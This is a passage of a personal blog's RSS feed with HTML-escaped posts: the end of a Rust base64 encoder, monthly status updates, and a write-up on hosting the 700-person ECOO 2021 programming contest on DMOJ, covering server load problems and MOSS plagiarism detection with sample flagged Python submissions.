&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">alphabet&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">b&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">&amp;gt;&amp;gt;&lt;/span> &lt;span class="mi">2&lt;/span>&lt;span class="p">],&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">alphabet&lt;/span>&lt;span class="p">[(&lt;/span>&lt;span class="n">b&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">&amp;amp;&lt;/span> &lt;span class="mh">0x3&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">&amp;lt;&amp;lt;&lt;/span> &lt;span class="mi">4&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="n">b&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">&amp;gt;&amp;gt;&lt;/span> &lt;span class="mi">4&lt;/span>&lt;span class="p">],&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">alphabet&lt;/span>&lt;span class="p">[(&lt;/span>&lt;span class="n">b&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">&amp;amp;&lt;/span> &lt;span class="mh">0xf&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">&amp;lt;&amp;lt;&lt;/span> &lt;span class="mi">2&lt;/span>&lt;span class="p">],&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">PADDING&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">])&lt;/span>&lt;span class="o">?&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span> &lt;span class="k">else&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">z&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="n">io&lt;/span>&lt;span class="o">::&lt;/span>&lt;span class="nf">write&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">sink&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="p">[&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">alphabet&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">b&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">&amp;gt;&amp;gt;&lt;/span> &lt;span class="mi">2&lt;/span>&lt;span class="p">],&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">alphabet&lt;/span>&lt;span class="p">[(&lt;/span>&lt;span class="n">b&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">&amp;amp;&lt;/span> &lt;span class="mh">0x3&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">&amp;lt;&amp;lt;&lt;/span> &lt;span class="mi">4&lt;/span>&lt;span class="p">],&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">PADDING&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">PADDING&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">])&lt;/span>&lt;span class="o">?&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">};&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">};&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">z&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">};&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Base32 encoding as well as date/time support is on my list of things to work on as well. Finally, I would like to thank &lt;a href="https://smlavine.com/">Sebastian LaVine&lt;/a> for &lt;a href="https://lists.sr.ht/~fluix/public-inbox/patches?search=from%3A%7Esmlavine">improvements to window sizing and project compilation&lt;/a> for &lt;a href="https://sr.ht/~fluix/periodicus/">periodicus&lt;/a>.&lt;/p>
&lt;p>In terms of hardware, I&amp;rsquo;ve still got the PineTime development kit which is awaiting use. I don&amp;rsquo;t have any particular plans with that except for learning some lower level programming, primarily because I don&amp;rsquo;t have much use for a smart watch other than being a watch. I also recently bought an &lt;a href="https://en.wikipedia.org/wiki/Electronic_paper">ePaper&lt;/a> display and &lt;a href="https://icebreaker-fpga.org/">iCEBreaker FPGA&lt;/a> to add to my collection of random hardware. Learning and tinkering with those two should be fun, so expect a project or two from there alongside some dedicated posts to talk about them. I mentioned getting a SoloKeys USB security token in my last update alongside a planned post to talk about my 2FA setup with it. I promise that said post is still planned but is awaiting a few more changes to some servers of mine.&lt;/p>
&lt;p>To end off, I&amp;rsquo;d like to ask something of those that read this far: is there anything specific you want me to write about or topics you would like me to touch on in my updates? Also, for those that know me on IRC, you&amp;rsquo;ll know that I occasionally mention the projects that I&amp;rsquo;m working on or talk about my thoughts on $things. It seems some of you have &lt;a href="https://joinmastodon.org/">Mastodon accounts&lt;/a>, which are less emphemral compared to chat, and use them for similar purposes. Well, I&amp;rsquo;ve been thinking of opening up an account on an instance (likely &lt;a href="https://fosstodon.org/">Fosstodon&lt;/a>) for microblogging or sharing smaller updates so I&amp;rsquo;m looking for some insight in terms of what it&amp;rsquo;s like and whether you&amp;rsquo;d like to see me do it. For responses to all of these, please &lt;a href="mailto:void@fluix.one">email me&lt;/a> (preferrable) or contact me in any other way.&lt;/p>
&lt;p>Thanks for reading and see you soon, whether that&amp;rsquo;s in person, on IRC, or the next time you read some of my writing!&lt;/p></description></item><item><title>365 Days - May Status Update</title><link>https://fluix.one/blog/status-update-2021-05/</link><pubDate>Fri, 21 May 2021 00:00:00 +0000</pubDate><guid>https://fluix.one/blog/status-update-2021-05/</guid><description>&lt;p>Can I write this in 26:30 before it turns to 2021-05-22 in UTC-4? Well, no time for an intro, let&amp;rsquo;s get right into it!&lt;/p>
&lt;p>It&amp;rsquo;s been a year since my very first &lt;a href="https://fluix.one/blog/sway-rng/">blog post&lt;/a> on this blog. Throughout that time I&amp;rsquo;ve written 16 articles which amounts to an average of 1⅓ posts per month — higher than my 1 per month goal. I &lt;em>did&lt;/em> miss some monthly status updates, but at least I wrote quite a few separate posts about CTFs and other projects.&lt;/p>
&lt;p>Moving on to whatever I&amp;rsquo;ve been working on the past month and a half, it really hasn&amp;rsquo;t been much. At the beginning of this month &lt;a href="https://fluix.one/blog/ecoo-2021/">I wrote&lt;/a> about my experience hosting the 2021 ECOO Programming Contest which was a joy to be a part of. A week ago my team &lt;em>Teapot&lt;/em> participated in the Canadian National Finals round of the &lt;a href="https://www.cybertitan.ca/">CyberTitan&lt;/a> IV cybersecurity competition where we placed first. It was our second year of competing so we were all rather proud of our result.&lt;/p>
&lt;p>Regarding the future, I hope to keep writing blog posts and hope to do so with a higher frequency. I&amp;rsquo;ve got some plans coming up to write about my new 2FA setup with the &lt;a href="https://solokeys.com">SoloKeys&lt;/a> &lt;a href="https://solokeys.com/collections/all/products/solo-usb-a">Solo v1&lt;/a> that I recently purchased. I also got a &lt;a href="https://www.pine64.org/pinetime/">PineTime&lt;/a> development kit some time ago so hopefully I&amp;rsquo;ll make a little game and post about that as well. With regards to the COVID-19 situation around the world, I haven&amp;rsquo;t mentioned it on my blog, but I do hope that everyone stays safe, gets vaccinated, and manages to get through it. Maybe we can even get this to be the third disease&lt;sup id="fnref:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup> to ever be eradicated&amp;hellip;&lt;sup id="fnref:2">&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref">2&lt;/a>&lt;/sup> though that would be a long time away, if ever.&lt;/p>
&lt;p>&lt;em>Wew, only minutes&lt;sup id="fnref:3">&lt;a href="#fn:3" class="footnote-ref" role="doc-noteref">3&lt;/a>&lt;/sup> to spare.&lt;/em>&lt;/p>
&lt;div class="footnotes" role="doc-endnotes">
&lt;hr>
&lt;ol>
&lt;li id="fn:1">
&lt;p>The others being &lt;a href="https://en.wikipedia.org/wiki/Rinderpest">Rinderpest&lt;/a> and &lt;a href="https://en.wikipedia.org/wiki/Smallpox">Smallpox&lt;/a>.&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:2">
&lt;p>&lt;a href="https://xkcd.com/2448/">Relevant XKCD&lt;/a>, as always.&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:3">
&lt;p>Okay look, &lt;a href="https://git.sr.ht/~fluix/fluix.one/commit/cae54d92751c2d04ea185d92a42f6434e44115d8">the commit&lt;/a> &lt;em>does&lt;/em> say I&amp;rsquo;m 52 seconds late, but I promise my clock is ahead by 1:27 🤞&amp;#160;&lt;a href="#fnref:3" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;/ol>
&lt;/div></description></item><item><title>Hosting a 700 Person Programming Contest - ECOO 2021</title><link>https://fluix.one/blog/ecoo-2021/</link><pubDate>Wed, 05 May 2021 00:00:00 +0000</pubDate><guid>https://fluix.one/blog/ecoo-2021/</guid><description>&lt;p>On May 1st, 2021, the 36th annual Educational Computing Organization of Ontario (ECOO) Programming Contest was held. This contest has been the culmination of over a month of work by &lt;a href="https://www.pta.gg/" class="userlink">&lt;span class="user">Theodore Preduta&lt;/span>&lt;/a>, &lt;a href="https://larry.science/" class="userlink">&lt;span class="user">Larry Yuan&lt;/span>&lt;/a>, &lt;a href="kgugeler.ca" class="userlink">&lt;span class="user">Keenan Gugeler&lt;/span>&lt;/a>, &lt;span class="user">Christopher Trevisan&lt;/span>, and myself, alongside &lt;span class="user">Valentina Krasteva&lt;/span> and &lt;span class="user">David Stermole&lt;/span> and the support of &lt;a href="https://ecoo.org/">ECOO&lt;/a> and &lt;a href="http://ecoocs.org/">ECOO-CS&lt;/a>. This is my second year involved in the hosting of this event so I figured I would write about the setup and all that went right and wrong.&lt;/p>
&lt;h2 id="background">Background&lt;/h2>
&lt;p>This programming contest was run on a platform called &lt;a href="https://dmoj.ca/">DMOJ&lt;/a>, an &lt;a href="https://github.com/DMOJ/">AGPL-licensed online judge&lt;/a>, for accepting competitor code and rating its correctness. &lt;a href="https://github.com/fluix-dev/ecoo-site">A fork&lt;/a> was created with various unnecessary functionalities removed. In a broad sense, DMOJ works in the following manner:&lt;/p>
&lt;img src="background.svg">
&lt;p>This year&amp;rsquo;s contest contained &lt;a href="https://dmoj.ca/problems/?search=ECOO21">six (6) problems&lt;/a> ranging in difficulty from complete beginner to the highest level of competitive programming. A big thanks goes to &lt;span class="user">Keenan&lt;/span> and &lt;span class="user">Chris&lt;/span> for creating these problems and &lt;a href="https://andrewqt.github.io/" class="userlink">&lt;span class="user">Andrew Qi Tang&lt;/span>&lt;/a>) for testing them before the competition.&lt;/p>
&lt;h2 id="network">Network&lt;/h2>
&lt;p>Nearly 700 people signed up to do the contest and we wanted to make sure that the site ran smoothly. Last year&amp;rsquo;s approach was to use a smaller number (&amp;lt;5) of more powerful site servers behind a loadbalancer to distribute load. This vertical scaling approach worked quite well, but we decided to try a more horizontal-scaling based approach this year with a larger number of less powerful servers. Our entire network was setup on &lt;a href="https://www.digitalocean.com/products/droplets/">DigitalOcean Droplets&lt;/a> with the database and individual sites on 2 core / 2 GB RAM systems and everything else on 1 core / 1 GB RAM. All internal networking was done with DigitalOcean&amp;rsquo;s provided private networking and formed the following topology:&lt;/p>
&lt;img src="topology.svg">
&lt;p>Our load balancer, central servers, and judges performed fantastically. They maintained low load throughout the entire contest, even during our fuck up (explained soon). Throughout the competition, we deployed roughly fifteen (15) sites running a &lt;a href="https://www.djangoproject.com/">Django&lt;/a> &lt;a href="https://github.com/fluix-dev/ecoo-site">app&lt;/a> with &lt;a href="https://uwsgi-docs.readthedocs.io/en/latest/">uWSGI&lt;/a> and ten (10) judges running a &lt;a href="https://www.docker.com/">Docker&lt;/a> container with a &lt;a href="https://github.com/dmoj/judge-server">Python app&lt;/a> using the DigitalOcean API. Generally, it&amp;rsquo;s best that every judge has identical hardware so that competitor submissions run at consistent speeds and get the same number of points every time. Unfortunately, this is rather difficult to get with a cloud provider because of shared resources and different hardware.&lt;sup id="fnref:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup> For us, we figured the differences weren&amp;rsquo;t drastic enough to warrant pursuing more complicated setups.&lt;/p>
&lt;p>As the contest began, we very quickly noticed horrible latencies and a constant stream of 500 errors. At the &lt;em>very&lt;/em> beginning of the contest this was expected — the main contest page that competitors had open automatically refreshes when the contest begins — but several minutes in and the latencies just kept getting worse. Thinking about what was different this year and looking at a browser&amp;rsquo;s network inspector while on the main scoreboard page revealed what was up. You see, the scoreboard is updated live with the help of an event server which informs connected browsers when to fetch new results. Last year, this websocket connection was disabled for non-organizers for fear of overloading the event server. It turns out that overloading the &lt;em>event server&lt;/em> wouldn&amp;rsquo;t have been an issue, but the subsequent requests from all connections to get the latest results were. Because of how quickly submissions were being made at the start of the contest, the sites became overloaded as each competitor opened several simultaneous connections.&lt;/p>
&lt;p>Ideally, this would be fixed by sending the updated results over the websocket connection or, at the very least, caching the updated results that competitors were querying. As a quick fix though, we just dropped the scoreboard update event on our event server and left it at that. From then on, everything ran smoothly until the end of the competition which finished with one competitor completely finishing all the problems and several others getting partial points on the last problem.&lt;sup id="fnref:2">&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref">2&lt;/a>&lt;/sup>&lt;/p>
&lt;p>To end off this section, here are some mildly interesting statistics for the runtime of the competitions, including any practice rounds and some setup time. Full reports from &lt;a href="https://goaccess.io/">GoAccess&lt;/a> — an awesome log analysis tool — can also be found below.&lt;/p>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>Metric&lt;/th>
&lt;th>&lt;a href="report-2020.html">ECOO 2020&lt;/a>&lt;/th>
&lt;th>&lt;a href="report-2021.html">ECOO 2021&lt;/a>&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>Registered Competitors&lt;/td>
&lt;td>713&lt;/td>
&lt;td>692&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Total requests&lt;/td>
&lt;td>1,335,283&lt;/td>
&lt;td>615,575&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Peak New Requests/sec&lt;sup id="fnref:3">&lt;a href="#fn:3" class="footnote-ref" role="doc-noteref">3&lt;/a>&lt;/sup>&lt;/td>
&lt;td>185&lt;/td>
&lt;td>892&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Visitors&lt;/td>
&lt;td>3,700&lt;/td>
&lt;td>6,646&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>500 Errors&lt;/td>
&lt;td>62,664&lt;/td>
&lt;td>22,946&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Goaccess Report&lt;/td>
&lt;td>&lt;a href="report-2020.html">report-2020.html&lt;/a>&lt;/td>
&lt;td>&lt;a href="report-2021.html">report-2021.html&lt;/a>&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;h2 id="cheating">Cheating&lt;/h2>
&lt;p>Cheating must be considered in any competitive activity, especially those in online environments. This year, all online resources were permitted which we hoped would decrease the usefulness of cheating. However, as this was still an individual contest, cheating by communicating with others was still likely. Luckily, since 2019,&lt;sup id="fnref:4">&lt;a href="#fn:4" class="footnote-ref" role="doc-noteref">4&lt;/a>&lt;/sup> DMOJ has integrated the &lt;a href="https://theory.stanford.edu/~aiken/moss/">Stanford Measure of Software Similarity (MOSS)&lt;/a> API to automatically submit competitor source code and check for plagiarism. This system compares code similarity but has knowledge of language syntax so simple changes to style or variable naming is useless. As an excellent example, let&amp;rsquo;s take these three submissions from three different students at the same school (you know who you are!) which MOSS flagged:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-py" data-lang="py">&lt;span class="line">&lt;span class="cl">&lt;span class="n">Numbers&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">M&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">KS&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">input&lt;/span>&lt;span class="p">()&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">split&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">output&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="nb">int&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">Numbers&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">for&lt;/span> &lt;span class="n">i&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="nb">range&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">int&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">KS&lt;/span>&lt;span class="p">)):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">First&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">Second&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">Third&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">map&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">int&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nb">input&lt;/span>&lt;span class="p">()&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">split&lt;/span>&lt;span class="p">())&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="n">output&lt;/span>&lt;span class="p">[(&lt;/span>&lt;span class="n">Second&lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">&amp;lt;&lt;/span> &lt;span class="n">Third&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">output&lt;/span>&lt;span class="p">[(&lt;/span>&lt;span class="n">Second&lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">Third&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">output&lt;/span>&lt;span class="p">[(&lt;/span>&lt;span class="n">Second&lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">First&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">for&lt;/span> &lt;span class="n">i&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="nb">range&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nb">len&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">output&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="mi">2&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">output&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">],&lt;/span> &lt;span class="n">end&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s2">&amp;#34; &amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>&lt;em>This student clearly likes some verbosity in variable names.&lt;/em>&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-py" data-lang="py">&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Inputs&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># N = number of questions&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># M = number of professors&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># K = number of emails sent&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">N&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">M&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">K&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">input&lt;/span>&lt;span class="p">()&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">split&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">output&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="nb">int&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">N&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">for&lt;/span> &lt;span class="n">i&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="nb">range&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">int&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">K&lt;/span>&lt;span class="p">)):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># A = the professor &lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># B = question that was asked&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># C = score given to answer&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">A&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">B&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">C&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">map&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">int&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nb">input&lt;/span>&lt;span class="p">()&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">split&lt;/span>&lt;span class="p">())&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="n">output&lt;/span>&lt;span class="p">[(&lt;/span>&lt;span class="n">B&lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">&amp;lt;&lt;/span> &lt;span class="n">C&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">output&lt;/span>&lt;span class="p">[(&lt;/span>&lt;span class="n">B&lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">C&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">output&lt;/span>&lt;span class="p">[(&lt;/span>&lt;span class="n">B&lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">A&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">for&lt;/span> &lt;span class="n">i&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="nb">range&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nb">len&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">output&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="mi">2&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">output&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">],&lt;/span> &lt;span class="n">end&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s2">&amp;#34; &amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>&lt;em>Short variable names which correspond to the question but nice comments to explain what they are.&lt;/em>&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-py" data-lang="py">&lt;span class="line">&lt;span class="cl">&lt;span class="n">N&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">M&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">K&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">input&lt;/span>&lt;span class="p">()&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">split&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">out&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="nb">int&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">N&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">for&lt;/span> &lt;span class="n">i&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="nb">range&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">int&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">K&lt;/span>&lt;span class="p">)):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">A&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">B&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">C&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">map&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">int&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nb">input&lt;/span>&lt;span class="p">()&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">split&lt;/span>&lt;span class="p">())&lt;/span>
